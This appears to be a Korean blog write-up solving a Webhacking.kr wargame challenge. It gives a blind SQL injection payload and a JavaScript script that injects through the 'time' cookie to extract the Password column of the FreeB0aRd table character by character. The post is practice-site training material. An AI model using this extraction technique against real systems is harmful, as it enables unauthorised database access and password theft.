본문 바로가기

Hacking/Webhacking.kr(스포주의)

Webhacking.kr 45

Blind SQL Injection문제이다.




time=1 and (select length(Password) from FreeB0aRd)=9

테이블명은 페이지에 노출, 컬럼명은 <input name=Password>



dictionary = "0123456789abcdefghijklmnopqrstuvwxyz_";
password = "";

function go(query,n)
{
        query = "0 or (select ascii(substr(Password,"+n+",1)) from FreeB0aRd)="+query
        document.cookie="time="+query; // sql injection 쿼리문을 time 쿠키에 대입
        console.log(query);
        x = new XMLHttpRequest();
        x.open("GET","index.php",false);
        x.send(null);
        if(x.responseText.indexOf("00:01")!=-1) return "true";
        else return "false";
}

for(i=1;i<=9;i++){ // 패스워드 컬럼 데이터의 길이만큼 반복문 실행
        for(j=0;j<=dictionary.length;j++){
                ascii = dictionary.substr(j,1).charCodeAt(0);
                if(go(ascii,i)=="true"){
                                password+=dictionary.substr(j,1); console.log("[*] "+password); break;
                                }
        }
}


'Hacking > Webhacking.kr(스포주의)' 카테고리의 다른 글

Webhacking.kr 29  (0) 2016.01.15
Webhacking.kr 35  (0) 2016.01.15
blind sql injection  (0) 2016.01.15
Webhacking.kr 45  (0) 2016.01.15
Webhacking.kr 30  (0) 2016.01.15